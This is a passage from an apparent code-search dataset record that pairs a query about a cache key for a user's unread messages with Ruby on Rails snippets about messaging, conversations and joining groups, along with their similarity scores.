@redis.blpop(@name).last\n end\n end\n end", "def messages\n @messages ||= []\n end", "def unread_by(user)\n self.includes(:chat_participations, :messages).where([\n \"(chat_participations.read_at < messages.created_at OR chat_participations.read_at IS NULL)\\\n AND chat_participations.user_id = :user_id AND messages.user_id <> :user_id\",\n {user_id: user.id}]).order(\"messages.created_at DESC\")\n end", "def messages\n @messages ||= []\n end", "def messages\n @messages ||= []\n end", "def get_messages\n unless @connection.mails.empty?\n @connection.each_mail do |msg|\n begin\n process_message(msg.pop)\n rescue\n handle_bogus_message(msg.pop)\n end\n # Delete message from server\n msg.delete\n end\n end\n end", "def show\n #Get user for \"Message with...\"\n @user = User.find_by id: params[:id]\n @users = current_user.sent_messages.distinct.map(&:receiver)\n @users += current_user.received_messages.distinct.map(&:sender)\n @users = @users.uniq\n\n #Get messages from users sorted by date\n m1 = current_user.sent_messages.where(receiver_id: params[:id])\n m2 = current_user.received_messages.where(sender_id: params[:id])\n @messages_user = m1 + m2\n @messages_order = @messages_user.sort_by &:created_at\n\n #Create new message\n @message = current_user.messages.build\n end", "def receivedMessagesFromSender\n render json: Message.where(receiver_id: params[:id_1].to_i, sender_id: params[:id_2].to_i, created_at: (Time.now - 30.day)..Time.now).limit(100)\n end", "def get_messages\n @connection.select('INBOX')\n @connection.search(['ALL']).each do |message_id|\n msg = @connection.fetch(message_id,'RFC822')[0].attr['RFC822']\n begin\n process_message(msg)\n rescue\n handle_bogus_message(msg)\n end\n # Mark message as deleted \n @connection.store(message_id, \"+FLAGS\", [:Deleted])\n end\n end", "def get_messages\n @messages = Message.order(:created_at).last(50)\n @message = current_user.messages.new\n end", "def index\n raise ApiAccessEvanta::PermissionDenied unless AppSettings::Value.new(:messages, user: current_user).on?\n @messages = Message.get_message_list(current_user)\n render json: @messages\n end", "def all_messages\n message = Array.new\n for i in 1..9\n message.push(birth_path_message(i))\n end\n return message\nend", "def index\n #@messages = Message.all\n #@messages = current_owner.messages\n @users = current_owner.conversation_users\n end", "def msgs\n d = data\n if d != nil\n return d.fetch('msgs', [])\n end\n return []\n end", "def my_messages\n @clients = Client.all\n @contactListes = current_cadre.contact_client_cadres\n @contact = ContactClientCadre.where(cadre: @cadre, client:current_client)\n if @contact.count == 0\n @contact = ContactClientCadre.create(cadre: @cadre, client:current_client)\n else\n @contact = @contact.first\n end\n @contact.message_client_cadres.where(client_see:false).update(client_see:true)\n @messages = @contact.message_client_cadres.order(created_at: :ASC)\n end", "def index\n @messages = Message.all\n @unread = Recipient.where(:user_id => current_user.id,:status => false).map {|r| r.message}.reverse\n @read = Recipient.where(:user_id => current_user.id,:status => true).map {|r| r.message}.reverse\n end", "def index\n @messages = @conversation.messages\n @messages.where(\"user_id != ? AND read = ?\", current_user.id, false).update_all(read: true)\n if @conversation.sender == current_user\n @msg_not = @conversation.recipient\n else\n @msg_not = @conversation.sender\n end\n if current_user != @conversation.sender \n if current_user != @conversation.recipient\n redirect_to conversations_path\n end\n end\n @message = @conversation.messages.new\n end", "def sent\n @messages = current_user.messages.order('created_at DESC').unarchived.paginate(:page => params[:page], :per_page => 10)\n end", "def full_messages\n @set.map(&:full_message).sort\n end", "def get_backlog(person_full_name, requester)\n last_left = Message.first(\n :conditions => {:person => person_full_name, :message_type => ['Leave','Kick']},\n :order => [:timestamp.desc])\n \n if last_left \n # if person timed out, look for their last entry before the timeout\n if last_left.message_type == 'Kick'\n last_left = Message.first(\n :conditions => {:person => person_full_name, :timestamp.lt => last_left.timestamp},\n :order => [:timestamp.desc])\n end\n\n # get all text messages since they left\n history = Message.all(\n :conditions => { :timestamp.gt => last_left.timestamp,\n :person.not => IGNORE_USERS,\n :message_type => 'Text' },\n :order => [:timestamp])\n messages = history.map { |m| \"#{m.person}: #{m.body}\" }\n \n return messages.join(\"\\n\")\n end\n end", "def messages\n @logger.log(\"Getting messages from phone.\")\n \n # Get a list of messages\n msg = nil\n msgs = ATPhone::SMS.new(self)\n\n # Turn on text mode\n send(\"AT+CMGF=1\")\n \n resp = send(\"AT+CMGL\")\n resp.each_line do |line|\n # If it is a message header\n if line[0..5] == '+CMGL:'\n # Add formed message to list\n msgs[msg.index] = msg unless msg.nil?\n \n # Create new message from phone data\n index, status, number = line[7..-1].split(',')\n msg = ATPhone::SMS::Message.new(\n \"\",\n number.strip.gsub('\"', ''),\n index.to_i,\n status.strip.gsub('\"', '')\n )\n # If it's not a command, then it's text\n elsif not msg.nil?\n msg.message += line\n end\n end\n\n # Add last message\n msgs[msg.index] = msg unless msg.nil?\n\n msgs\n end", "def received_messages(page = 1)\n _received_messages.paginate(:page => page, :per_page => MESSAGES_PER_PAGE)\n end", "def my_messages(opts = {})\n client.get_my_messages(opts)\n end", "def index\n @messages = Message.all\n @inbox_messages = Message.where(:to_user_id => @current_user.id.to_s).or(Message.where(:is_system_notification => 1)).order(\"created_at DESC\")\n @sendbox_messages = Message.where(:user_id => @current_user.id.to_s).order(\"created_at DESC\")\n end", "def index\n @custom_messages = CustomMessage.where(user_id: current_user.id)\n end", "def get_all()\n @conn.close\n @messages\n end" ]
[ "0.74776715", "0.74776715", "0.68494064", "0.6770832", "0.67529804", "0.6693435", "0.6684952", "0.66789603", "0.6633031", "0.6602989", "0.6586655", "0.65579593", "0.6537718", "0.6464599", "0.6422633", "0.64035875", "0.63832265", "0.63832265", "0.6363067", "0.6332161", "0.63292575", "0.6308726", "0.63051873", "0.62693226", "0.62485284", "0.6243422", "0.6232514", "0.6228785", "0.6225512", "0.6223823", "0.62124443", "0.6197449", "0.6154143", "0.613915", "0.61372524", "0.6136533", "0.61321145", "0.6129862", "0.6087792", "0.60845286", "0.6080816", "0.60737634", "0.6070737", "0.60616434", "0.60567087", "0.6039163", "0.60368747", "0.60307574", "0.6027272", "0.60192764", "0.600412", "0.60021347", "0.5995194", "0.59951437", "0.59878767", "0.5987168", "0.59859747", "0.5979674", "0.5968018", "0.5967631", "0.59626406", "0.5946824", "0.5937213", "0.5937011", "0.5932357", "0.5919686", "0.59143525", "0.59139407", "0.58995885", "0.5899308", "0.5899281", "0.58924454", "0.5890556", "0.58776873", "0.5872845", "0.5872321", "0.5870614", "0.58573633", "0.58534694", "0.58534694", "0.58479136", "0.58460194", "0.58435714", "0.5832717", "0.5832416", "0.5831807", "0.582413", "0.5809472", "0.5807357", "0.5807303", "0.5803323", "0.5793097", "0.57919246", "0.5790977", "0.57826746", "0.5782603", "0.5778421", "0.57743794", "0.57676417", "0.5755024", "0.57503617" ]
0.0
-1
return cache key unread messages for user member
def get_unread_cache_key_for(_user_id) "cache-count_pending_messages_for-#{id}-#{(last_activity || Time.current).to_i}-#{_user_id}" end
{ "objective": { "self": [], "paired": [], "triplet": [ [ "query", "document", "negatives" ] ] } }
[ "def unread_messages(user)\n Rails.cache.fetch(\"#{cache_key_with_version}/unread_messages/#{user.id}\") do\n Message.unread_by(user).where(chat_room: self).where.not(user: user).to_a\n end\n end", "def unread_chats_count_cache_key\n \"#{self.cache_key}/unread_chats_count\"\n end", "def count_pending_messages_for(_user)\n Rails.cache.fetch(get_unread_cache_key_for(_user.id), expires_in: 1.week.from_now) do\n _member = conversation_members.where(user_id: _user).take\n if _member.present?\n messages.where('messages.created_at > ?', _member.last_seen).count\n else\n 0\n end\n end\n end", "def unread_messages_count\n Rails.cache.fetch(\"user-unread_messages_count-#{id}\") do\n unread_conversations.count('messages.id')\n end\n end", "def num_unread_messages(user)\n Rails.cache.fetch(\"#{cache_key_with_version}/num_unread_messages/#{user.id}\") do\n Message.unread_by(user).where(chat_room: self).where.not(user: user).count\n end\n end", "def update_last_seen\n m = conversation.conversation_members.where(user_id: sender_id).take\n m.update_column(:last_seen, Time.current) if m\n conversation.conversation_members.where.not(user_id: sender_id).pluck(:user_id).each do |_id| # update total unread cache for all members\n Rails.cache.delete(\"user-unread_messages_count-#{_id}\")\n end\n end", "def unread_messages\n current_user.messages_in.where(read: false).count\n end", "def unread_messages user_id\n messages.unread(user_id)\n end", "def unread_messages\n @user_wise_unread_messages = current_user.user_messages\n .where(is_read: false)\n .joins(:message)\n .group('messages.user_id').count\n end", "def unread_message_count(current_user)\n \tself.messages.where(\"user_id != ? AND read = ?\", current_user.id, false).count\n \tend", "def unread_chats_count\n # Rails.cache.fetch(unread_chats_count_cache_key) do\n Chat.unread_by(self).count\n # end\n end", "def members_cache_key\n Member.cache_key_for_set(id)\n end", "def unread_messages\n @attributes[\"unread_messages\"]\n end", "def get_cache_key(user, key)\n return \"%06d:%s\" % [user.id, key]\n end", "def cache_get(key)\n @messages[key] if @messages.has_key?(key)\n end", "def member_entitlements_cache_key\n \"#{banned?}_#{active?}_#{paid?}_#{moderator?}_#{supermoderator?}\"\n end", "def unseen_memberships_count\n messages.watchable.unseen.group_by(&:membership_id).length\n end", "def last_seen_uid\n self.messages.order_by(:uid => :desc).limit(1).first.try(:uid) || 1\n end", "def current_user_last_messages\n @last_messages = current_user.messages.unseen.limit(5) if current_user\n end", "def message_cache\n @message_cache ||= {}\n size = @message_cache.values.reduce(0) {|sum, x| sum + x[:size]}\n if size > 2_000_000 # TODO make this configurable\n log \"Pruning message cache; message cache is consuming #{number_to_human_size size}\"\n @message_cache.keys[0, @message_cache.size / 2].each {|k| @message_cache.delete(k)}\n end\n @message_cache\n end", "def mark_read_messages(conversation)\n time = Time.current\n conversation = Conversation.find(conversation) if conversation.is_a?(Integer)\n conversation_members.where(conversation_id: conversation).update_all(last_seen: time)\n Rails.cache.delete(conversation.get_unread_cache_key_for(id))\n Rails.cache.delete(\"user-unread_messages_count-#{id}\")\n PubSub::Publisher.new.publish_for(conversation.user_participants.where.not(id: id), 'read_messages', {id: conversation.id, seen_at: time.to_i, user_id: id}, {foreground: true})\n end", "def read user_id\n messages.unread(user_id).each do |m|\n m.read = true\n m.save\n end\n end", "def get_unread_message_count(user)\n username = Digest::MD5.hexdigest(user.id.to_s)\n begin\n response = RestClient.get(\"#{DOMAIN}/#{ORG}/#{APP}/users/#{username}/offline_msg_count\",\n \"Authorization\" => \"Bearer #{access_token}\",\n :content_type => :json,\n :accept => :json\n )\n if response.code == 200\n p response\n\n body = JSON.parse(response.body)\n p body\n end\n rescue => e\n puts e.response\n end\n end", "def unread_message_count\n eval 'messages.count(:conditions => [\"recepient_id = ? AND read_at IS NULL\", self.beamer_id])'\n end", "def unread_by(user)\n self.includes(:chat_participations, :messages).where([\n \"(chat_participations.read_at < messages.created_at OR chat_participations.read_at IS NULL)\\\n AND chat_participations.user_id = :user_id AND messages.user_id <> :user_id\",\n {user_id: user.id}]).order(\"messages.created_at DESC\")\n end", "def unread_count\n @status = Messenger.inbox_status(current_user)\n return_message(200, :ok, :count => @status[:unread])\n end", "def unread_messages_count\n @unread_messages_count ||= messages.unread.count\n end", "def chat_unread_count\n unread = 0\n chats = Chat.or(\n { employer_username: self.username },\n { freelancer_username: self.username },\n { service_provider_username: self.username }\n )\n\n # Count each message as unread\n if chats.any?\n chats.each do |c|\n u = c.events.in(\n :\"_type\" => [\n \"ChatMessageEvent\",\n \"ChatBidEvent\",\n \"ChatBidAcceptEvent\"\n ]\n ).where(\n read: false\n ).nin(\n member_id: [self.id]\n ).count\n\n unread = unread + u\n end\n end\n\n return unread\n end", "def unread_inbox_count\n mailbox.inbox(unread: true).count\n end", "def unread_inbox_count\n mailbox.inbox(unread: true).count\n end", "def unread_inbox_count\n mailbox.inbox(unread: true).count\n end", "def num_unread_messages\n return Message.where({:receiver_id => self.id, :read => false}).count\n end", "def get_by_ued_memcache_key_object\n MemcacheKey.new('user.user_kyc_comparison_detail')\n end", "def remember_message_sent\n Discourse.redis.setex(sent_recently_key, @opts[:limit_once_per].try(:to_i) || 86_400, 1) unless @opts[:limit_once_per] == false\n end", "def unread_notification_count\n unread_notifications.count\n end", "def display_notif_unseen(usr_id)\n num = PublicActivity::Activity.where(is_seen: false, owner_id: usr_id, owner_type: \"User\").count\n return num if num > 0\n return \"\" # Else return blank string\n end", "def unread\n read_attribute(:unread)\n end", "def unread? user_id\n !unread_messages(user_id).blank?\n end", "def read?(_user_id)\n conversation.conversation_members.where(user_id: _user_id).take.last_seen > created_at\n end", "def unread_count(user)\n public_replies(user).unread_by(user).size + (unread?(user) ? 1 : 0)\n end", "def unread_count(sender)\n if current_airline.present?\n sender.messages.where('customer_id = ? AND airline_id = ? AND sender = ? AND seen = ?', sender.id, current_airline.id, 'user-message', false).count\n elsif current_customer.present?\n sender.messages.where('customer_id = ? AND airline_id = ? AND sender = ? AND seen = ?', current_customer.id, sender.id, 'airline-message', false).count\n end\n end", "def new_message_check\n if(!current_user.nil?)\n ids = Message.where(user_received_id: current_user.id, read: false).pluck(:user_sent_id).uniq\n if ids.count > 0\n ids = Message.where(user_received_id: current_user.id, read: false).pluck(:user_sent_id).uniq\n render text: '{\"unread\":\"true\", \"ids\":[' + ids.join(',') + ']}'\n else\n render text: '{\"unread\":\"false\"}'\n end\n else \n render text: '{\"unread\":\"false\"}'\n end\n end", "def unread\n all(UNREAD)\n end", "def get_unread(user)\n list = []\n if unread?(user)\n list.push(self)\n end\n public_replies(user).unread_by(user).each do |reply|\n list.push(reply)\n end\n list\n end", "def reset_unread_chats_count\n Rails.cache.delete(unread_chats_count_cache_key)\n end", "def unread_qotds\n admin_conversations.current.recent.find_unread_by(self)\n end", "def unread\n @notifications = Notification.where(user_id: current_user.uid).where(is_read: false).page(params[:page]).order(created_at: :desc)\n end", "def cache_key_for_current_user(obj)\n [obj, (obj.user == current_user)]\n end", "def read_id_from_cache(key)\n value = Caching.read(key)\n exists = !value.nil?\n number = value.to_i\n\n # The cache key may be empty to indicate a previously looked up user for\n # which we couldn't find an ID.\n [exists, number.positive? ? number : nil]\n end", "def keys\n messages.keys\n end", "def keys\n messages.keys\n end", "def cache_key\n \"me/#{object.id}-#{object.updated_at.utc.to_s(:number)}\"\n end", "def unread_items(params = {})\n @unread_items ||= filtered_items_list('reading-list', params.merge(:exclude => 'user/-/state/com.google/read'))\n end", "def cached_message type_name\n cached_obj @prior_messages, type_name\n end", "def show\n @message = current_user.messages.find(params[:id])\n @message.mark_as_unread\n end", "def get_memcache_key_object\n MemcacheKey.new('aml.all_aml_match')\n end", "def cache_store(key, message)\n @messages[key] = [] if @messages[key].nil?\n @messages[key].shift if @messages[key].length == 10\n @messages[key] << message\n end", "def unread_conversations\n my_conversations.joins(:messages).where('messages.created_at > COALESCE(conversation_members.last_seen, conversation_members.created_at)').uniq\n end", "def unread_messages\n data = client.get \"#{api_prefix}/user/#{client.user.id}/rooms/#{id}/unreadItems\"\n\n Message::Collection.new self, data\n end", "def blocked_user_ids\n Rails.cache.fetch(\"blocked_user_ids_#{id}\", expires_in: 1.month.from_now) do\n blocked_users_relationships.pluck(:user_id)\n end\n end", "def unread_discussions\n discussions.find_unread_by(self)\n end", "def unseen\n messages = current_user.received_messages.where(seen: false)\n render json: messages\n end", "def fetch_unread_items(folder)\n item_view = ItemView.new(10) # FIXME: some huge number like 5000, but the JS app is too slow for that\n item_view.property_set = EMAIL_SUMMARY_PROPERTY_SET\n folder.find_items(SearchFilter::IsEqualTo.new(EmailMessageSchema::IsRead, false), item_view).items.to_a\n end", "def fetch_followers\n cache(:expire_in => 2.hours).following\n end", "def seen\n if @ok\n @ok = @notification.has_been_seen\n end\n @new_notifications = current_user.number_notifications_not_seen\n end", "def first_unread_message\n gmail.inbox.find(:unread).find do |email|\n email.to[0].mailbox.include? 'performance_group'\n end\n end", "def users\n result = Rails.cache.read([:ibiza, id, :users])\n get_users_only_once if result.nil?\n result\n end", "def message_seen?(message_id)\n self.seen_messages.include?(message_id)\n end", "def cache_key\n end", "def cache_key\n [super, user.try(:cache_key)].compact.join('/')\n end", "def get(key)\n messages[key]\n end", "def get(key)\n messages[key]\n end", "def read_messages\n @useConversations = Message.where(\"user_id = (?)\", current_user.id).pluck(:conversation_id)\n if @useConversations.count > 0\n @useConversations = @useConversations.uniq # Unique\n @useConversations = @useConversations.map(&:inspect).join(', ')\n #@updatemsg = Message.where(\"user_id != (?) and conversation_id IN (?)\", current_user.id, @useConversations).update_all(:mark_as_read => true)\n @updatemsg = Message.where(\"user_id != #{current_user.id} and conversation_id in (#{@useConversations})\").update_all(:mark_as_read => true)\n session[:mark_messages] = 0 # Mark as read messages\n end\n end", "def index\n\t\t@notifications = Notification.where(recipient_id: current_user.id).unread\n\tend", "def user_key\n uid\n end", "def movies_disliked\n REDIS.smembers movies_disliked_key\n end", "def cache_key(identifier)\n \"#{Gxapi.cache_namespace}#{self.user_key}_#{identifier.to_key}\"\n end", "def get_memcache_key_object\n MemcacheKey.new('aml.aml_search')\n end", "def retrieve_tweet_ids\n imap = Net::IMAP.new('imap.gmail.com', 993, true, nil, false)\n imap.login(@account['credentials']['email_address'], @account['credentials']['email_password'])\n imap.select('INBOX')\n imap.search([\"NOT\",\"SEEN\"]).each do |message_id|\n msg = imap.fetch(message_id, 'RFC822')[0].attr['RFC822']\n # imap.store(message_id, '+FLAGS', [:Seen])\nputs msg\n end \n imap.logout()\n imap.disconnect()\n end", "def redis_key(str)\n \"user:#{self.id}:#{str}\"\n end", "def users_messaged_by\r\n self.users_who_messaged_me\r\n end", "def users_messaged_by\r\n self.users_who_messaged_me\r\n end", "def unread_topics user\r\n topics.find_all{|topic| topic.unread_comment?(user) }\r\n end", "def received_uniq_leaderbit_ids\n Rails.cache.fetch(\"#{__method__}/#{cache_key_with_version}\") do\n query = <<-SQL.squish\n SELECT \"leaderbit_logs\".\"leaderbit_id\" FROM \"leaderbit_logs\"\n WHERE \"leaderbit_logs\".\"user_id\" = #{id}\n UNION SELECT \"user_sent_emails\".\"resource_id\" FROM \"user_sent_emails\"\n WHERE \"user_sent_emails\".\"type\" = #{ActiveRecord::Base.connection.quote UserSentScheduledNewLeaderbit}\n AND \"user_sent_emails\".\"resource_type\" = #{ActiveRecord::Base.connection.quote Leaderbit}\n AND \"user_sent_emails\".\"user_id\" = #{id}\n SQL\n\n ActiveRecord::Base.connection.execute(query).values.flatten\n end\n end", "def inbox\n @messages = current_user.received_messages\n end", "def unread_notifications_since_last_read\n notification.class.for_target(notification.target)\n .where(group_id: notification.group_id)\n .where(read_at: nil)\n .where('notify_user_notifications.created_at >= ?', last_read_notification.try(:read_at) || 24.hours.ago)\n .where.not(id: notification.id)\n .order(created_at: :desc)\n end", "def unread_count( params={} )\n unread_count = get_connections(\"unread_count\", params)\n return map_connections unread_count, :to => Facebook::Graph::Generic\n end", "def friends\n user_ids = $redis.sinter(self.redis_key(:following),self.redis_key(:followers))\n User.where(:id=>user_ids)\n end", "def user_hash(message)\n return Digest::MD5.hexdigest(message.user).to_i(16) + Digest::MD5.hexdigest(message.host).to_i(16)\nend", "def movies_liked\n REDIS.smembers movies_liked_key\n end", "def profile_views\n $redis.get(\"#{key}:views\") || \"0\"\n end", "def redis_key(str)\n \"user:#{self.id}:#{str}\"\n end", "def redis_key(str)\n \"user:#{self.id}:#{str}\"\n end", "def unopened_group_member_notifier_count\n group_members.unopened_only\n .filtered_by_association_type(\"notifier\", notifier)\n .where(\"notifier_key.ne\": notifier_key)\n .to_a\n .collect {|n| n.notifier_key }.compact.uniq\n .length\n end", "def cache_list(force_reload=false)\n unless self.is_cached? or force_reload\n @messages = []\n \n # get the list of message id's and return an empty array if there \n # are no messages in the box\n search = @connection.search(\"All\")\n return if search.size == 0\n \n @raw_messages = @connection.fetch(search, \n [\"FLAGS\", \"INTERNALDATE\", \"RFC822.SIZE\", \"ENVELOPE\", \"UID\"])\n @is_cached = true\n \n @raw_messages.each do |raw| \n message = {\n \"seqno\" => raw.seqno, \n \"uid\" => raw.attr[\"UID\"], \n \"date\" => Time.parse(raw.attr[\"INTERNALDATE\"]), \n \"subject\" => raw.attr[\"ENVELOPE\"].subject, \n \"flags\" => raw.attr[\"FLAGS\"], \n \"size\" => raw.attr[\"RFC822.SIZE\"]\n }\n\n [\"to\", \"cc\", \"bcc\", \"from\", \"sender\", \"reply_to\"].each do |a|\n message[a] = raw.attr[\"ENVELOPE\"][a].collect { |address|\n {\n \"name\" => address.name, \n \"address\" => \"#{address.mailbox}@#{address.host}\", \n \"user\" => address.mailbox.downcase, \n \"domain\" => address.host.downcase\n }\n } unless raw.attr[\"ENVELOPE\"][a].nil?\n end #do\n \n @messages.push(message)\n end #do\n end #unless \n end", "def index\n @messages = Message.all\n @unread = Recipient.where(:user_id => current_user.id,:status => false).map {|r| r.message}.reverse\n @read = Recipient.where(:user_id => current_user.id,:status => true).map {|r| r.message}.reverse\n end", "def inbox\n return @defaults.objectForKey(:inbox)\n end", "def set_unread_message_count\n self.unread_messages = 1\n end", "def unread\n @notifications = current_user.notifications.unread.page(params[:page]).per(5)\n end", "def hash\n [inbox_id, count, delay_timeout, timeout, unread_only, count_type, matches, sort_direction, since, before].hash\n end" ]
[ "0.7219761", "0.7171557", "0.71668696", "0.71536136", "0.70160645", "0.6866475", "0.66438717", "0.65122837", "0.64741737", "0.6407556", "0.636092", "0.630194", "0.6278316", "0.6201542", "0.6185977", "0.5996763", "0.599096", "0.59581995", "0.5945157", "0.5942546", "0.592076", "0.5885786", "0.5873559", "0.58711714", "0.58588845", "0.5856559", "0.5818895", "0.58186686", "0.57803684", "0.57803684", "0.57803684", "0.5727559", "0.570734", "0.5701435", "0.56716174", "0.56239694", "0.5603197", "0.55947727", "0.558711", "0.55774665", "0.5571996", "0.5569881", "0.5567022", "0.552394", "0.5509939", "0.55078804", "0.55018365", "0.5443865", "0.54437673", "0.5434562", "0.5434562", "0.5423681", "0.5417272", "0.5416629", "0.5406715", "0.53941274", "0.5392386", "0.53842103", "0.538319", "0.5363876", "0.5363863", "0.53622025", "0.5344041", "0.5342186", "0.5324835", "0.5323547", "0.5319546", "0.5316513", "0.53028244", "0.5286242", "0.52780217", "0.52780217", "0.5268851", "0.52671015", "0.52612656", "0.525609", "0.52447003", "0.52445567", "0.5243387", "0.5238834", "0.5238102", "0.5238102", "0.5232858", "0.52325094", "0.52163404", "0.520466", "0.52000725", "0.5198087", "0.519694", "0.5185684", "0.5184597", "0.5180657", "0.51802135", "0.51782686", "0.51749176", "0.5172966", "0.5171041", "0.51644087", "0.5159204", "0.51580226" ]
0.8371134
0
join to a public conversation group
def join!(_user_id) if !is_private? if banned_users.where(user_id: _user_id).any? errors.add(:base, 'You were banned from this group.') false else add_participant(_user_id) end else errors.add(:base, 'This is a private group, please contact to administrator.') false end end
{ "objective": { "self": [], "paired": [], "triplet": [ [ "query", "document", "negatives" ] ] } }
[ "def join_group(id)\n\t\t\t#id: ID of the group to join\n\t\t\toptions = {\"id\" => id}\n\t\t\tdata = oauth_request(\"/group/join\", options, \"post\")\n\t\tend", "def join\n @group = Group.find(params[:id])\n\n if !current_user.is_member_of?(@group)\n current_user.join!(@group)\n flash[:notice] = \"Successfully joined the group!\"\n else\n flash[:warning] = \"You are a member of this group!\"\n end\n\n redirect_to group_path(@group)\n end", "def join\n @group = Group.find(params[:id])\n \n if group_user = GroupUser.first(:conditions => ['group_id = ? AND user_id = ?', @group.id, current_user.id])\n if ['cancelled', 'invite_declined'].include?(group_user.status)\n group_user.request!\n flash[:notice] = 'Your membership request was sent to group owner.'\n elsif group_user.status == 'approved'\n flash[:error] = 'You are already member of this group.'\n else\n flash[:error] = 'You cannot join this group.'\n end\n else\n group_user = GroupUser.create(:group_id => @group.id, :user_id => current_user.id, :role_id => Role.find_by_name('User').id)\n group_user.request!\n flash[:notice] = 'Your membership request was sent to group owner.'\n end\n \n respond_to do |format|\n format.html { redirect_to(groups_url) }\n format.xml { head :ok }\n end\n end", "def join\n @group = Group.find(params[:id])\n \n if group_user = GroupUser.first(:conditions => ['group_id = ? AND user_id = ?', @group.id, current_user.id])\n if ['cancelled', 'invite_declined'].include?(group_user.status)\n group_user.request!\n flash[:notice] = 'Your membership request was sent to group owner.'\n elsif group_user.status == 'approved'\n flash[:error] = 'You are already member of this group.'\n else\n flash[:error] = 'You cannot join this group.'\n end\n else\n group_user = GroupUser.create(:group_id => @group.id, :user_id => current_user.id, :role_id => Role.find_by_name('User').id)\n group_user.request!\n flash[:notice] = 'Your membership request was sent to group owner.'\n end\n \n respond_to do |format|\n format.html { redirect_to(groups_url) }\n format.xml { head :ok }\n end\n end", "def join\n @person = Person.find(params[:person_id])\n @group = Group.find(params[:id])\n begin\n @person.join_group(@group.id, session[:cookie])\n flash[:notice] = [ :you_have_joined_to_group, @group.title(session[:cookie]) ]\n rescue RestClient::RequestFailed => e\n flash[:error] = message_from_error(e)\n end\n redirect_to group_path(params[:id])\n end", "def join_group\n @assignment = Assignment.find(params[:id])\n @grouping = Grouping.find(params[:grouping_id])\n @user = Student.find(session[:uid])\n @user.join(@grouping.id)\n m_logger = MarkusLogger.instance\n m_logger.log(\"Student '#{@user.user_name}' joined group '#{@grouping.group.group_name}'\" +\n '(accepted invitation).')\n redirect_to action: 'student_interface', id: params[:id]\n end", "def do_join\n flash.keep\n begin\n # Use group invitation\n group = Group.find_by(invitation_code: params[:group][:invitation_code])\n # Fall back to normal user invitation\n if group.blank?\n invitation = GroupInvitation.get_by_invitation_code(\n params[:group][:invitation_code]\n )\n invitation.use_invitation\n group = invitation.group\n end\n group.join_group(current_user, 'member')\n flash[:notice] = 'Group joined!'\n redirect_to(action: 'show', id: group.id) && return\n rescue\n flash[:error] = 'The provided invitation code has already been used.'\n redirect_to(action: 'join') && return\n end\n end", "def group_join!(group)\n affiliations.create!( :group_id => group.id )\n end", "def join(group)\n\t\t\treturn false unless group.is_a?(Group)\n\t\t\tgroup.add(self)\n\t\tend", "def join\n @group = Group.find_by_id(params[:id])\n if @group\n @user.join_group(@group)\n flash[:success] = \"Join It Successed\"\n redirect_to :action => \"reports\", :id => @group\n else\n flash[:warning] = \"Not Exist Group to Join\"\n end\n end", "def join_group(user = nil, role = nil)\n role = 'member' if role != 'admin'\n raise 'NotValidGroup' if id.nil?\n raise 'AlreadyMember' if member?(user)\n user_group = Membership.new(\n user_id: user.id,\n group_id: id,\n role: role\n )\n user_group.save!\n user_group\n end", "def join_group(user_group, admin=0)\n Membership.create!(:user => self,\n :user_group => user_group,\n :admin => admin,\n :accepted_at => Time.now) unless user_group.is_member?(self)\n end", "def joinGroup\n \tquery = \"SELECT user_id FROM group_meals_participants where group_meal_id = \" + GroupMeal.find_by_meal(params[:meal]).id.to_s\n \n GroupMealsParticipant.connection.select_values(query).each do |u|\n \tif(u!=current_user.id)\n \t\tu=User.find(u)\n \t\tu.alert=true\n \t\tu.alert_location=GroupMeal.find_by_meal(params[:meal]).id.to_s\n \t\tu.save\n \tend\n \tend\n @groupMealParticipant= GroupMealsParticipant.new\n @groupMealParticipant.user_id=current_user.id\n @groupMealParticipant.group_meal_id= GroupMeal.find_by_meal(params[:meal]).id\n @groupMealParticipant.save \n redirect_to(GroupMeal.find_by_meal(params[:meal]))\n end", "def join\n if logged_in?\n @group_wanted = Group.find(params[:id]) # later change to params[:name]\n @country_wanted = Country.find(@group_wanted.country_id, :limit => 1)\n #match = current_user.countries.find(@country_wanted.id)\n #unless current_user.has_country?(@country_wanted.id) #countries.find(@country_wanted.id)\n #@matches = current_user.countries\n @match = Country.find_by_sql([\"SELECT * FROM countries_users WHERE user_id = ? AND country_id = ?\", current_user.id, @country_wanted.id])\n if @match.empty? #current_user.countries.find(@country_wanted.id).nil? #current_user.has_country?(@country_wanted.id) \n flash[:notice] = \"Joined!\"\n current_user.groups << @group_wanted # add group\n current_user.countries << @country_wanted # add country\n redirect_to '/perfil'\n else\n flash[:error] = \"You're either already subscribed to a group in the same country or in the same group.\"\n redirect_to :action => 'index'\n end \n end \n end", "def msg_JOIN(source, args)\n u = User.find(source)\n if u == nil\n return nil\n end\n\n if args[0] == '0' && args.length == 1\n u.channels.each do |c|\n c.del_user(u)\n end\n u.part_all()\n return nil\n end\n\n # Ignoring TS rules since we don't even keep track of cmodes\n\n c = Channel.find_by_name(args[1])\n if c == nil\n c = Channel.new(args[1], args[0].to_i())\n end\n\n c.add_user(u)\n u.join(c)\n return nil\n end", "def join_group(invite_code)\n invite = InviteCode.check_code(invite_code)\n self.users_groups.create!(:invite_code_id => invite.id, :group_id => invite.group_id, :join_date => Date.today)\n end", "def student_join_grp(course, group)\n load_course_grps course\n logger.info \"Joining group '#{group.title}'\"\n wait_for_update_and_click link_element(xpath: \"//a[contains(@aria-label,'Join group #{group.title}')]\")\n list_item_element(xpath: '//li[contains(.,\"Joined Group\")]').when_present Utils.short_wait\n end", "def join\n if request.post?\n if !@group.users.include?(current_user)\n @group.users << current_user\n flash[:success] = \"Thanks! Your membership must now be approved by an admin of #{@group.name}.\"\n\n #SEND OUT NOTIFICATION EMAILS\n @group.admins.each do |admin|\n Notifier.pending_user(admin, @group, current_user).deliver\n end\n\n redirect_to @group\n else\n flash[:error] = \"Error requesting to join #{@group.name}. Please try again.\"\n redirect_to @group\n end\n else #it fell back to GET (no js)\n flash[:error] = \"Please enable javascript to join.\"\n redirect_to @group\n end\n end", "def join(person)\n members.push(person);\n end", "def join_group\n @disc_group = DiscussionGroup.find(params[:id])\n @join = DiscussionGroupUser.new(:discussion_group_id => @disc_group.id, :user_id => @login_user.id, :is_member => 1)\n if @join.save\n respond_to do |format|\n format.js\n end\n else\n render :text=>\"Fail\"\n end\n end", "def local_join(body)\n room = body.dup\n room[0,1] = '' until room[0,1] != '@'\n return nil unless room.length >= 1\n unless @var[:special_rooms].include?(room)\n room_hash = MD5::digest(room)[0,8]\n room_hash = EMPTY_ROOM if room == 'chat'\n @connection.room_names[room_hash] = room\n @connection.room_ids[room] = room_hash\n _remote_control(@var[:our_name], :invite, body, true)\n _server_control('join', room_hash)\n end\n local_switch(room.dup)\nend", "def joinGroup\n id = params[:id]\n line = 